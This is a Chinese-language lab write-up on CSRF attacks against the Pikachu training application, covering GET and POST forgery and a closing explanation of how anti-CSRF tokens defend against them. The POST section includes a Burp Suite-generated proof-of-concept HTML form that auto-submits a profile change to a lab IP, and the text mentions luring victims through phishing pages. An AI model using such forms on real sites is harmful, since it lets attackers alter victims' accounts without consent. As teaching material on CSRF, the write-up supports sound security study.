文章目錄
- CSRF(get)
- CSRF(post)
- CSRF Token
CSRF(get)
根據提示的用戶信息登錄
點擊修改個人信息
開啟bp代理,點擊submit
攔截到請求數據包
瀏覽器關閉代理
刷新頁面
CSRF(post)
使用BP生成CSRF POC
post請求偽造,可以通過釣魚網站,誘導用戶去點鏈接
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://192.168.80.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"><input type="hidden" name="sex" value="woman" /><input type="hidden" name="phonenum" value="110110110" /><input type="hidden" name="add" value="北京" /><input type="hidden" name="email" value="3123@qq.com" /><input type="hidden" name="submit" value="submit" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>
CSRF Token
分析一下這個token的作用了。按照前面csrf get的方法,攻擊者會偽造一個GET URL去讓用戶點擊。但用戶正常提供GET請求時,會把服務器返回的token填入和提交,而攻擊者偽造URL時除非前期抓包獲取到這個返回的token,否則他是不會知道這個token的。所以攻擊者無法構造GET URL。同理,對于POST方法也是一樣。所以,使用token是一個很好的防御CSRF攻擊的方法。